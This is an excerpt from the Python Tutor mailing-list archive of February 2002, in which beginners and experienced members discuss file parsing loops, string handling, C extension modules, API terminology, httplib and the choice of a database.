dead. -D -- Commit to the Lord whatever you do, and your plans will succeed. Proverbs 16:3 From dsh8290@rit.edu Sun Feb 10 17:42:49 2002 From: dsh8290@rit.edu (dman) Date: Sun, 10 Feb 2002 12:42:49 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <3251E29088C@kserver.org> References: <3251E29088C@kserver.org> Message-ID: <20020210174249.GB4546@dman.ddts.net> On Fri, Feb 08, 2002 at 09:30:15PM -0800, Sheila King wrote: | The task I am trying to accomplish right now is this: | | I have a list of strings (common words and phrases one might expect to | find in a Spam email, if that wasn't obvious from the above examples) | and I want to do a regular expression search against the subject of an | email and see if I get a match or not (after which I handle the email). How about using SpamAssassin? It works really well for me. (ignore the fact that it is written in perl and just treat it as you would any external program) You can stick it in your mail system using procmail, or have your MTA automatically scan messages depending on your setup. For instructions on my setup, http://dman.ddts.net/~dman/config_docs/exim_spamassassin.html -D -- The crucible for silver and the furnace for gold, but the Lord tests the heart. Proverbs 17:3 From dsh8290@rit.edu Sun Feb 10 17:48:17 2002 From: dsh8290@rit.edu (dman) Date: Sun, 10 Feb 2002 12:48:17 -0500 Subject: [Tutor] Using os.spawn commands In-Reply-To: <45D4413DB5@kserver.org> References: <45D4413DB5@kserver.org> Message-ID: <20020210174817.GC4546@dman.ddts.net> On Sat, Feb 09, 2002 at 12:06:02PM -0800, Sheila King wrote: | I wanted to write a script to test this other script of mine. | I thought one of the os.spawn commands would be best, so that if one of | the test processes crashed, at least my testing script wouldn't? (That | is correct thinking there, right?) | | I'm running a lot of my testing on a Windows machine, and according to | the docs, that eliminates any of the spawn commands with a "p" as a | choice. OK, fine. That leaves me with these choices: | | spawnl | spawnle | spawnv | spawnve What about os.system()? Is that available on 'doze? os.system( 'python email_filter.py < test4.txt' ) -D -- Like a gold ring in a pig's snout is a beautiful woman who shows no discretion. Proverbs 11:22 From rufmetal@rogers.com Sun Feb 10 18:25:02 2002 From: rufmetal@rogers.com (Chris Keelan) Date: Sun, 10 Feb 2002 13:25:02 -0500 Subject: [Tutor] Nested loops/test conditions Message-ID: <20020210132502.2c3d9818.rufmetal@rogers.com> Hey gang! I know the answer is staring me in the face, but I've been scratching my head over this problem for two days. I want to parse a file that has the following structure: ################ Some header stuff to skip Some lines of text to write Some more lines of text to write etc. ... ################ So I need to write two loops, I think. The first loop should parse the file line-by-line to find the start condition e.g., then write each line from that point to the end condition to a separate file. I then want a third, meta-loop to iterate thorough a list of all the chapters. So the program loops over a long text file and writes a chapterized version of that document based on start and end markers within the file itself. This is the best I can do, but it's not doing the second (nested) iteration properly (I'll worry about the meta-loop later). I'm also not worried about writing to file yet--just getting the program to print the output to screen will make me happy: #!/usr/bin/python import os import string startCond = '' exitCond = '' testFile = '/shared/docs/testtext' def fix_string(badString): # need this to strip newlines, etc. from a readline() goodString = string.split(badString) goodString = string.join(goodString) return goodString def find_start(inHandle, startCond, exitCond): done = 0 while not done: checkLine = inHandle.readline() testCond = fix_string(checkLine) if testCond == startCond: print_lines(inHandle, exitCond) else: done = 1 def print_lines(inHandle, exitCond): done = 0 while not done: checkLine = inHandle.readline() testCond = fix_string(checkLine) if testCond == exitCond: done = 1 else: print checkLine def main(): inHandle = open(testFile, 'r') find_start(inHandle, startCond, exitCond) inHandle.close() if __name__ == "__main__": main() From glingl@aon.at Sun Feb 10 19:06:20 2002 From: glingl@aon.at (Gregor Lingl) Date: Sun, 10 Feb 2002 20:06:20 +0100 Subject: [Tutor] rows and columns References: <4908465008-BeMail@gormenghast> Message-ID: <002701c1b266$06a63a10$1664a8c0@mega> Nice, except that I think Kevin additionally wanted this: """if row begins with 'foo' then convert the second value in each row to a number, add 0.5 to it and turn back to a string""" if columns[0]=='foo': columns[1] = str(float(columns[1] + 0.5)) My guess is you're wanting to write the changed lines back out into a file. If you don't need to that you might think about storing the data in a more flexible form such as a list or dictionary or a class which you can save to disk using pickle. def readRowsAndColumns(filename): f = open(filename) out = open("output_file.txt", "w") rows = [] for line in f.readlines(): columns = line.split() """convert the second value in each row to a number, add 0.5 to it and turn back to a string""" columns[1] = str(float(columns[1] + 0.5)) out.write(" ".join(columns) + "\n") out.close() print "finished" Putting the change function inside like this is not usually the way to do things but fine for one of situations. Charlie _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From glingl@aon.at Sun Feb 10 19:43:37 2002 From: glingl@aon.at (Gregor Lingl) Date: Sun, 10 Feb 2002 20:43:37 +0100 Subject: [Tutor] Nested loops/test conditions References: <20020210132502.2c3d9818.rufmetal@rogers.com> Message-ID: <002f01c1b26b$3c3f7100$1664a8c0@mega> Hi! I recently had a similar job to do. I did it with a script like the following: import string testFile = 'testtext.txt' # read filetext into a single string filetext = open(testFile).read() # find beginning of first chapter-tag start = string.find(filetext,' -1: # there is at least one more chapter # find beginning of chaptertext start = string.find(filetext,'>',start) + 1 # for the '>' # find end of chaptertext end = string.find(filetext,' To: Sent: Sunday, February 10, 2002 7:25 PM Subject: [Tutor] Nested loops/test conditions > Hey gang! > > I know the answer is staring me in the face, but I've been scratching > my head over this problem for two days. > > I want to parse a file that has the following structure: > > ################ > > Some header stuff to skip > > > > Some lines of text to write > > > > > > Some more lines of text to write > > > > etc. ... > > ################ > > So I need to write two loops, I think. The first loop should parse the > file line-by-line to find the start condition e.g., then > write each line from that point to the end condition to a > separate file. > > I then want a third, meta-loop to iterate thorough a list of all the chapters. > > So the program loops over a long text file and writes a chapterized > version of that document based on start and end markers within the > file itself. > > This is the best I can do, but it's not doing the second (nested) iteration > properly (I'll worry about the meta-loop later). I'm also not worried about > writing to file yet--just getting the program to print the output to screen > will make me happy: > > #!/usr/bin/python > > import os > import string > > startCond = '' > > exitCond = '' > > testFile = '/shared/docs/testtext' > > > def fix_string(badString): # need this to strip newlines, etc. from a > readline() goodString = string.split(badString) > goodString = string.join(goodString) > return goodString > > def find_start(inHandle, startCond, exitCond): > > done = 0 > > while not done: > checkLine = inHandle.readline() > > testCond = fix_string(checkLine) > > if testCond == startCond: > print_lines(inHandle, exitCond) > > else: > done = 1 > > def print_lines(inHandle, exitCond): > done = 0 > while not done: > checkLine = inHandle.readline() > > testCond = fix_string(checkLine) > > if testCond == exitCond: > done = 1 > > else: > print checkLine > > > def main(): > inHandle = open(testFile, 'r') > find_start(inHandle, startCond, exitCond) > inHandle.close() > > if __name__ == "__main__": > main() > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From glingl@aon.at Sun Feb 10 19:49:55 2002 From: glingl@aon.at (Gregor Lingl) Date: Sun, 10 Feb 2002 20:49:55 +0100 Subject: [Tutor] rows and columns References: <4908465008-BeMail@gormenghast> <002701c1b266$06a63a10$1664a8c0@mega> Message-ID: <004601c1b26c$1cf86ee0$1664a8c0@mega> ----- Original Message ----- From: "Gregor Lingl" To: ; ; "Charlie Clark" Sent: Sunday, February 10, 2002 8:06 PM Subject: Re: [Tutor] rows and columns > Nice, except that I think Kevin additionally wanted this: > > """if row begins with 'foo' then > convert the second value in each row to a number, add 0.5 to it > and turn back to a string""" > if columns[0]=='foo': > columns[1] = str(float(columns[1] + 0.5)) <=*ERROR*== > > Huuuh! The line > columns[1] = str(float(columns[1] + 0.5)) will not work! Should read: columns[1] = str(float(columns[1]) + 0.5) Sorry, Gregor From paulsid@shaw.ca Sun Feb 10 19:48:58 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sun, 10 Feb 2002 12:48:58 -0700 Subject: [Tutor] Nested loops/test conditions References: <20020210132502.2c3d9818.rufmetal@rogers.com> Message-ID: <3C66CEAA.91234265@shaw.ca> Chris Keelan wrote: > So I need to write two loops, I think. The first loop should parse the > file line-by-line to find the start condition e.g., then > write each line from that point to the end condition to a > separate file. For this kind of thing I would use a single state-based loop. I've rewritten your code with such a loop below. It should be fairly self-explanatory. The gist of it is that the loop does different things based on the setting of the variable called 'state', which kind of allows it to act like two loops at once. This technique is simple yet very powerful. You can get really fancy with it, like putting the action for each state in a function and using a dictionary of functions (e.g. funcdict = {STATE_1: func_1, STATE_2: func_2}) and then calling funcdict[state]() on each iteration. This is very useful for when there are lots of states as it keeps the code for each state well-separated and the loop very clean. Hope this helps. (Code below is untested.) ********* #!/usr/bin/python import os import string #startCond = '' #exitCond = '' startchapter = 1 def set_conditions(ch) return ("" % ch, "" % ch) testFile = '/shared/docs/testtext' def fix_string(badString): # need this to strip newlines, etc. goodString = string.split(badString) goodString = string.join(goodString) return goodString # State variables. FIND_START = 1 WRITE_LINES = 2 def parse_file(inHandle, ch) startCond, exitCond = set_conditions(ch) state = FIND_START for line in inHandle.readlines(): line = fix_string(line) if state == FIND_START: if line == startCond: state = WRITE_LINES elif state == WRITE_LINES: if line == exitCond: ch += 1 startCond, exitCond = set_conditions(ch) state = FIND_START else: print line else: print "ERROR - Invalid State" def main(): inHandle = open(testFile, 'r') parse_file(inHandle, startchapter) inHandle.close() if __name__ == "__main__": main() -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From erikprice@mac.com Sun Feb 10 21:42:49 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 10 Feb 2002 16:42:49 -0500 Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: <21122992-1E6F-11D6-B1AB-00039351FE6A@mac.com> On Friday, February 8, 2002, at 01:39 AM, Sean 'Shaleh' Perry wrote: > modules written in pure python move forward from 1.x just fine 9 times > out of > 10. The reverse is 1 out of 10 when moving back to 1.x. > > The real problem are the modules written in C. I (mistakenly) thought that modules generally -were- pure python. I actually had been under the impression that a module was simply an organized batch of code that could be imported into another bit of code for the purpose of reusability. I didn't realize that you could write a module in C and import it into Python. Or -- do you refer to extensions to Python's abilities that would not otherwise be available to the language (that need to be coded in C to gain access to certain things that Python couldn't already do)? Erik From dyoo@hkn.eecs.berkeley.edu Sun Feb 10 21:59:20 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 13:59:20 -0800 (PST) Subject: [Tutor] omit some keys from dict In-Reply-To: <21122992-1E6F-11D6-B1AB-00039351FE6A@mac.com> Message-ID: On Sun, 10 Feb 2002, Erik Price wrote: > > modules written in pure python move forward from 1.x just fine 9 times > > out of > > 10. The reverse is 1 out of 10 when moving back to 1.x. > > > > The real problem are the modules written in C. > > I (mistakenly) thought that modules generally -were- pure python. Not to say that they aren't --- many of the standard library modules are in Python, just as we'd expect. For example, the StringIO module is pure Python, and the source code is available in a StringIO.py file in the library. It's useful to know that we can easily read most of the library modules to see how they're constructed. But we can also write modules in C if we put in the effort! There's a module called 'CStringIO' that does the same job as StringIO. CStringIO is written in C, and since readability isn't often a main goal in C, CStringIO can implement a few unprintable optimizations that aren't easily available in native Python. *grin* As long as we follow a few "ground rules", we can write modules in C for fun and profit. These ground rules are explained in the "Extending and Embedding" documentation: http://python.org/doc/ext The problem about these extension modules is that the C API evolves with Python, and this likely breaks compatibility. A recompilation of an extension module usually fixes things, but, of course, this requires that we have a C compiler handy. > I didn't realize that you could write a module in C and import it into > Python. Yes, this is what makes "extendable" languages like Python very cool --- we can extend Python reliably through a module interface that makes external code look indistinguishable from native Python code. If you're interested in this sort of stuff, take a look at SWIG: http://swig.org Good luck! From erikprice@mac.com Sun Feb 10 22:16:47 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 10 Feb 2002 17:16:47 -0500 Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: On Sunday, February 10, 2002, at 04:59 PM, Danny Yoo wrote: > Not to say that they aren't --- many of the standard library modules are > in Python, just as we'd expect. For example, the StringIO module is > pure > Python, and the source code is available in a StringIO.py file in the > library. It's useful to know that we can easily read most of the > library > modules to see how they're constructed. What is the definition of "Library" in this case? Is it just "the collective body of Python modules"? Or is something more specific implied by it? Does it refer to the Standard Library of Python modules that ships with all Python Dists? I have Python 2.2, if that matters. > The problem about these extension modules is that the C API evolves with > Python, and this likely breaks compatibility. I see this acronym all the time, but I'm not terribly sure of what it is: API. If I'm not mistaken, IDE is like a program that allows you to code more easily than plaintext file editing (Integrated Development Environment), and API means "application programming interface" or something like that. How is an API different from an IDE? A very basic question but I keep seeing it when I go to the bookstore and read books about Python. To think that I have already been coding in PHP for a little while and still don't know what it means. Erik PS: And while we're on the subject of IDEs, is IDLE available for Mac OS X in Aqua (not X11)? I haven't seen anything about it but then maybe I just didn't look hard enough. From csmith@blakeschool.org Sun Feb 10 23:21:35 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sun, 10 Feb 2002 17:21:35 -0600 Subject: [Tutor] making an alias of a folder Message-ID: I think I put this request out before but haven't received any replies...perhaps there is someone new on the list that could help: Does anyone have a piece of code that successfully makes an alias of a folder on the MacOS? Even if you know how to do this in RealBasic or VisualBasic and could send me that code snippet I think it would be useful. I'm trying to complete a patch to a file copying routine. /c From alan.gauld@bt.com Sun Feb 10 23:29:18 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Sun, 10 Feb 2002 23:29:18 -0000 Subject: [Tutor] really dumb questions Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C33C@mbtlipnt02.btlabs.bt.co.uk> Just back from a week vacation so jumping in late... > > I know that there is writelines, but as usual i can't > figure out based on the Python documentation which hardly > ever gives illustrative examples. Thats why Beasleys book is good - it adds the examples ;-) > >>> scooby_file=open("scooby.txt","w") > >>> scooby_file.writelines(["Scooby","Dooby","Doo"]) > >>> scooby_file.close() > > Yields the file scooby.txt with the following data in it: > ScoobyDoobyDoo And if you want it on separate lines just add a '\n' to each item: f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) Or do it more explicitly in a loop: for line in ["Scooby", "Dooby", "Doo"]: line = line + '\n' f.write(line) That's all writelines() does internally, (without the \n malarky) its nothing magic, just a handy shortcut to a common operation... > > My other dumb question is this: how do i print a list > without the leading and trailing brackets and commas? > for item in [1,2,3]: > print item, #don't miss that comma on the end, But he asked for f.write not print so... s = '' for item in [1,2,3]: s = s+str(item) # just convert to a string and concatenate f.write(s) # then write the final string > add the `x` thing it works but it adds single quotes to the > output. How do you suppress those? You don't need to. The interpreter adds those to show that its a string. If you assign the result to a striong then write the string it should work just fine: > 'x' thing? You've lost me there. Its the backtick technique for converting to a string. > current_time=time.time() > time_file.write(str(current_time)) Yep, just like that... Do you see a trend yet? > ...the first element of sys.argv should give you > what you want. ie.: > > import sys > program_name=sys.argv[0] And you could use the os.path functions to prepend the current directory if desired. prog_path = os.path.join(os.getcwd(),sys.argv[0]) Note: that's not tested but something very similar should work! Alan g. From erikprice@mac.com Sun Feb 10 23:42:11 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 10 Feb 2002 18:42:11 -0500 Subject: [Tutor] Python web client book? Message-ID: Hello everyone, Recently I found myself in the public library of another town, far from where I live. I found a book that really intrigued me -- "Perl Web Clients" or something like that (O'Reilly). Essentially, the book was an introductory text for developing code that uses HTTP and the WWW as a whole, but without depending on browsers. I thought it was pretty cool, because it explained the basics of the HyperText Transfer Protocol and how to work with it, etc. Coming up with things to actually -do- with this protocol is the fun part, and I didn't get that far into the book before I had to leave. I couldn't check the book out, because I don't live in that town. Well, I was wondering if there is such a book for Python. I think Perl is fine too, but I'm not really as interested in Perl at the moment and am trying to learn as much as I can about Python, so finding that book again isn't even what I really want (although I'm sure that a lot of the concepts are applicable to Python). So is there a decent book on this topic that anyone knows of? I have seen "Python Web Programming" by New Riders publishing, and this looked interesting, but at fifty dollars (!) I'd have to ask if anyone here has read it before plunking down the dough. Thanks, Erik From shalehperry@attbi.com Mon Feb 11 00:10:12 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Sun, 10 Feb 2002 16:10:12 -0800 (PST) Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: > > I see this acronym all the time, but I'm not terribly sure of what it > is: API. If I'm not mistaken, IDE is like a program that allows you to > code more easily than plaintext file editing (Integrated Development > Environment), and API means "application programming interface" or > something like that. How is an API different from an IDE? > API means "Application Programming Interface". It is the specification used to write code that talks to another piece of code. The python C extension API defines how to write code that can be linked with python and thus make something that is transparent to the user. Several modules that you import are written in C and you never knew it. An IDE is a piece of software. It exists and there can be multiple versions of it. IDEs are usually a group of components (text editor, debugger, resource editor, etc) which work together. Think of API as a wiring diagram. As long as all of the blue wires connect to these other wires things work fine. An IDE would be some nifty piece of software which helps you design wiring schematics. > > PS: And while we're on the subject of IDEs, is IDLE available for Mac > OS X in Aqua (not X11)? I haven't seen anything about it but then maybe > I just didn't look hard enough. > IDLE uses Tk I believe, so as long as tk works on OS X you should be fine. From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 03:04:43 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 19:04:43 -0800 (PST) Subject: [Tutor] Stupid newby Question ZODB In-Reply-To: <87AC7902-1CAF-11D6-9876-0003937266F6@zkm.de> Message-ID: On Fri, 8 Feb 2002, [ISO-8859-1] Andreas Sch=F6ller wrote: > How can one delete an entry from a IOBtree ? A simple del tree[key]=20 > brings a __delitem__ error. Reassing a value like tree[key] =3D value is= =20 > no problem ? How come ? Any special metos needed to accomplish this ? Hi Andreas, Hmmm! It might be possible that __delitem__ hasn't been defined for BTree's yet, since deleting elements from a BTree can be complicated; perhaps no one has implemented it yet. I have've really dived into IOBtree's source code yet, but if I have time, I'll take a look tonight. In the meantime, try asking your question on the ZODB-developer mailing list: http://lists.zope.org/mailman/listinfo/zodb-dev/ It's very likely that someone there should know sorta how ZODB works, and they may be better equipped to help you quickly. Good luck to you! From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 03:10:10 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 19:10:10 -0800 (PST) Subject: [Tutor] counter In-Reply-To: <3C65F987.4F2CF44D@netzero.net> Message-ID: On Sat, 9 Feb 2002, kirk Bailey wrote: > Would this be a useless python event, or is it too useful? It is toing > the counting on the tinylist site NOW. It's a great candidate for Useless! *grin* We call it Useless partially as a tongue-in-cheek thing; please don't worry if it isn't Useless enough. From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 03:17:47 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 19:17:47 -0800 (PST) Subject: [Tutor] omit some keys from dict [lingo and libraries and api's, oh my!] In-Reply-To: Message-ID: On Sun, 10 Feb 2002, Erik Price wrote: > What is the definition of "Library" in this case? Is it just "the > collective body of Python modules"? By "library", I meant the collective body of Python modules, both in Python or in C. There's a comprehesive list of all of them here: http://www.python.org/doc/lib/ This is called the "Python Standard Library" because it's bundled with Python --- every Python programmer can expect to see these modules as a standard set of tools they can use. > > The problem about these extension modules is that the C API evolves with > > Python, and this likely breaks compatibility. > > I see this acronym all the time, but I'm not terribly sure of what it > is: API. If I'm not mistaken, IDE is like a program that allows you > to code more easily than plaintext file editing (Integrated > Development Environment), and API means "application programming > interface" or something like that. How is an API different from an > IDE? Ah; different concept. An Application Programming Interface (API) is an agreement on what sort of functions, classes, and variables will be available for a programmer to use. The term "API" and "module" are related, but there IS a difference --- an API is a general, fuzzy concept, while a Python module is something solid, something we can actually import. A concrete example of an API is the OpenGL standard: http://www.sgi.com/software/opengl/ http://opengl.org/ OpenGL defines a set of functions we can use to control graphical displays on a wide variety of computers. The OpenGL API describes the kinds of functions that a graphics programmer can expect to use, but doesn't really mention how to implement such a beast. However, Python has a module called PyOpenGL that actually implements this API: http://pyopengl.sourceforge.net/ So the difference between an API and a module is that an Application Programming Interface tells us what to expect, while a module is a thing that can implement that Interface. Sometimes, I'll get sloppy and say "API" when I mean "module" though, so apologies in advance! I'll try to be careful about my word usage. > A very basic question but I keep seeing it when I go to the bookstore > and read books about Python. To think that I have already been coding > in PHP for a little while and still don't know what it means. No problem. There are way too many acronyms in the world. *grin* > PS: And while we're on the subject of IDEs, is IDLE available for Mac > OS X in Aqua (not X11)? I haven't seen anything about it but then > maybe I just didn't look hard enough. Hmmm! I believe so, since the Apple folks finally ported Tkinter for OS X in October: http://www.opensource.apple.com/news/index.html Searching... ah! Ok, check Tony Lownds's OS X/Python page for a precompiled Python with Tkinter: http://tony.lownds.com/macosx/ http://tony.lownds.com/macosx/idle_screenshot.png Please feel free to ask more questions; I think I rushed things a bit. From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 03:23:11 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 19:23:11 -0800 (PST) Subject: [Tutor] making an alias of a folder In-Reply-To: Message-ID: On Sun, 10 Feb 2002, Christopher Smith wrote: > I think I put this request out before but haven't received any > replies...perhaps there is someone new on the list that could help: > > Does anyone have a piece of code that successfully makes an alias of a > folder on the MacOS? Hello! First, I'd better admit I'm clueless about this one... *grin* You might be able to find something in here: http://www.python.org/doc/current/mac/mac.html I don't have a Macintosh available at the moment, so I can't test this, but I believe that the macfs.NewAliasMinimalFromFullPath() is the function that you're looking for: http://www.python.org/doc/current/mac/module-macfs.html Good luck to you! From erikprice@mac.com Mon Feb 11 04:09:52 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 10 Feb 2002 23:09:52 -0500 Subject: [Tutor] omit some keys from dict [lingo and libraries and api's, oh my!] In-Reply-To: Message-ID: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com> On Sunday, February 10, 2002, at 10:17 PM, Danny Yoo wrote: > By "library", I meant the collective body of Python modules, both in > Python or in C. There's a comprehesive list of all of them here: > > http://www.python.org/doc/lib/ > > This is called the "Python Standard Library" because it's bundled with > Python --- every Python programmer can expect to see these modules as a > standard set of tools they can use. I saw one called "httplib" in that list (or something to that effect). It appears to allow the Python programmer to communicate with a remote machine using HTTP GET and POST requests. In the example provided for the library, they show the code with the three greater-than symbols that suggest that the code is typed at the interpreter prompt. http://www.python.org/doc/lib/httplib-examples.html I opened up my shell and fired up the interpreter to try these examples out. The output was slightly different, but I did in fact get the status: 200 reason: OK from the first part of the top example. (The different output was that the second code batch of the top example, the GET "/parrot.spam", returned a 200 but no "reason".) So does this mean that I can basically access sockets from the interpreter using Python? If that's the case then this isn't going to be as difficult to learn as I thought! What a great idea! Erik From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 04:43:50 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 10 Feb 2002 20:43:50 -0800 (PST) Subject: [Tutor] omit some keys from dict [lingo and libraries and api's, oh my!] In-Reply-To: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com> Message-ID: On Sun, 10 Feb 2002, Erik Price wrote: > So does this mean that I can basically access sockets from the > interpreter using Python? If that's the case then this isn't going to > be as difficult to learn as I thought! What a great idea! Yes, exactly. *grin* Oh, for more detail, see: http://py-howto.sourceforge.net/sockets/sockets.html for a HOWTO on doing Socket programming in Python. Hope this helps! From shalehperry@attbi.com Mon Feb 11 05:37:41 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Sun, 10 Feb 2002 21:37:41 -0800 (PST) Subject: [Tutor] omit some keys from dict [lingo and libraries and a In-Reply-To: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com> Message-ID: > > So does this mean that I can basically access sockets from the > interpreter using Python? If that's the case then this isn't going to > be as difficult to learn as I thought! What a great idea! > If python can be programmed to do it, you can do it interactively. This *IS* what makes python sooooo easy to learn and experiment with. In fact I often leave one open while i program in another window so I can test ideas out before I code them permanently. From toodles@yifan.net Mon Feb 11 06:13:42 2002 From: toodles@yifan.net (Andy W) Date: Mon, 11 Feb 2002 14:13:42 +0800 Subject: [Tutor] really dumb questions References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C33C@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <003f01c1b2c3$435279d0$3100a8c0@sun> > > for item in [1,2,3]: > > print item, #don't miss that comma on the end, > > But he asked for f.write not print so... Ack, Sorry! Thanks for pointing out the error, Alan. > > s = '' > for item in [1,2,3]: > s = s+str(item) # just convert to a string and concatenate > f.write(s) # then write the final string Just to go on from my example, you could redirect print-output to a file like such: for item in [1,2,3]: print >> f, str(item), That's starting to look a little less like Python to me, though. Andy W. From yogapython@yahoo.com Mon Feb 11 08:12:45 2002 From: yogapython@yahoo.com (Yoga Python Geerrrrr) Date: Mon, 11 Feb 2002 00:12:45 -0800 (PST) Subject: [Tutor] please help me for python programming Message-ID: <20020211081245.35302.qmail@web21304.mail.yahoo.com> i hope you help me __________________________________________________ Do You Yahoo!? Send FREE Valentine eCards with Yahoo! Greetings! http://greetings.yahoo.com From wheelege@hotmail.com Mon Feb 11 11:55:28 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Mon, 11 Feb 2002 22:55:28 +1100 Subject: [Tutor] please help me for python programming References: <20020211081245.35302.qmail@web21304.mail.yahoo.com> Message-ID: Sure, but what is the question? ----- Original Message ----- From: "Yoga Python Geerrrrr" To: Sent: Monday, February 11, 2002 7:12 PM Subject: [Tutor] please help me for python programming > i hope you help me > From kp87@lycos.com Mon Feb 11 12:53:30 2002 From: kp87@lycos.com (kevin parks) Date: Mon, 11 Feb 2002 21:53:30 +0900 Subject: [Tutor] Re: Mac alias Message-ID: >Does anyone have a piece of code that successfully makes an alias of a >folder on the MacOS? I think this is in macfs FSSpec objects. if i remember right. You look at the docs on www.python.org under Macintosh library modules and then hit macfs in the index, but then you have to scroll down the bottom of that page and it will have a link for FSSpec objects. It is a little hidden. http://www.python.org/doc/current/mac/fsspec-objects.html Anyway, not sure if this helps as i am not sure that it will help you alias a folder as well as a file. Very glad to see someone here on the Macintosh. Thanks for your module. -kevin Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From erikprice@mac.com Mon Feb 11 13:18:07 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 11 Feb 2002 08:18:07 -0500 Subject: [Tutor] omit some keys from dict [lingo and libraries and a In-Reply-To: Message-ID: On Monday, February 11, 2002, at 12:37 AM, Sean 'Shaleh' Perry wrote: > In fact I often > leave one open while i program in another window so I can test ideas > out before > I code them permanently. That is a really good idea. I wish I had this flexibility in PHP. Nope, instead it's "modify code, upload, test in browser, repeat". Not that I don't like PHP, but I really want to look at Python as an alternative for web development. I'm excited. Erik From brad.reisfeld@colostate.edu Mon Feb 11 13:52:20 2002 From: brad.reisfeld@colostate.edu (Brad Reisfeld) Date: Mon, 11 Feb 2002 06:52:20 -0700 Subject: [Tutor] Python database options Message-ID: Hi, I have inherited a large tab-delimited text file containing about 150,000 records, each of which has about 10 fields. I am interested in using some sort of very simple 'database' to search within the file (i.e. search through a field for a given item and retrieve the record). These 'searches' will be part of another application and will need to be fast. I know next to nothing about databases, but have, through some research identified a number of options: Options: 1. dictionary + pickle 2. dictionary + shelve 3. Gadfly 4. Berkeley DB + Python bindings 5. Postgres, MySQL + Python bindings The first couple of options relate reading in the file, creating a dictionary, and making it persistent. The Gadfly option looks good, but I'm not sure whether or not it is still supported and works under later versions of Python. The last couple of options are for 'true' database manager packages: perhaps overkill for this application. What are the pros and cons of the options? Are there other viable options? I'm using Python 2.1 on Linux RH7.2. Thank you for your help in sorting this out. -Brad From kalle@gnupung.net Mon Feb 11 14:42:13 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Mon, 11 Feb 2002 15:42:13 +0100 Subject: [Tutor] Python database options In-Reply-To: References: Message-ID: <20020211144213.GC2582@sandra.lysator.liu.se> [Brad Reisfeld] [...] > Options: > 1. dictionary + pickle > 2. dictionary + shelve > 3. Gadfly > 4. Berkeley DB + Python bindings > 5. Postgres, MySQL + Python bindings [...] > What are the pros and cons of the options? Are there other viable > options? First off, as you feared, Gadfly seems to be unsupported. It should work on Python 2.1, but will generate a couple of warnings due to use of deprecated modules. If you only want to search on one or a few fields and don't need pattern search (like 'get all lines where the 'user' field starts with a 'd'), a DBM-based solution or a pickled dictionary should be ok. Otherwise you will need a more sophisticated database, like Postgres or MySQL, to get good performance. I haven't used Berkeley DB and I'm not aware of it's capabilities. It might be good enough. Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From charlie@begeistert.org Mon Feb 11 15:05:37 2002 From: charlie@begeistert.org (Charlie Clark) Date: Mon, 11 Feb 2002 10:05:37 -0500 Subject: [Tutor] Re: Tutor digest, Vol 1 #1417 - 19 msgs Message-ID: <18389604834-BeMail@gormenghast> >Options: >1. dictionary + pickle >2. dictionary + shelve >3. Gadfly >4. Berkeley DB + Python bindings >5. Postgres, MySQL + Python bindings > >The first couple of options relate reading in the file, creating a >dictionary, and making it persistent. The Gadfly option looks good, but I'm >not sure whether or not it is still supported and works under later versions >of Python. The last couple of options are for 'true' database manager >packages: perhaps overkill for this application. > Add 6) ZODB Standalone just released and supported by Zope Corporation 7) mxODBC and any ODBC database Speed=3F You will need to provide more information about how fast you need: how many records in how short a time. Are you just going to be reading from the database or will you be adding to it or changing it=3F Do you need support for transactions=3F, etc.This is really a database question and should be addressed at database gurus. It shouldn't make much difference in Python which database you use as the interfaces (the way you talk to the database) are very standard. It's also worth looking at Marc-Andr=E9 Lemburgs mxODBC library which gives you quick access to any database for which you also have an ODBC driver. Charlie. From charlie@begeistert.org Mon Feb 11 15:09:36 2002 From: charlie@begeistert.org (Charlie Clark) Date: Mon, 11 Feb 2002 10:09:36 -0500 Subject: [Tutor] Re: Tutor digest, Vol 1 #1417 - 19 msgs Message-ID: <18629026523-BeMail@gormenghast> >> s =3D '' >> for item in [1,2,3]: >> s =3D s+str(item) # just convert to a string and concatenate >> 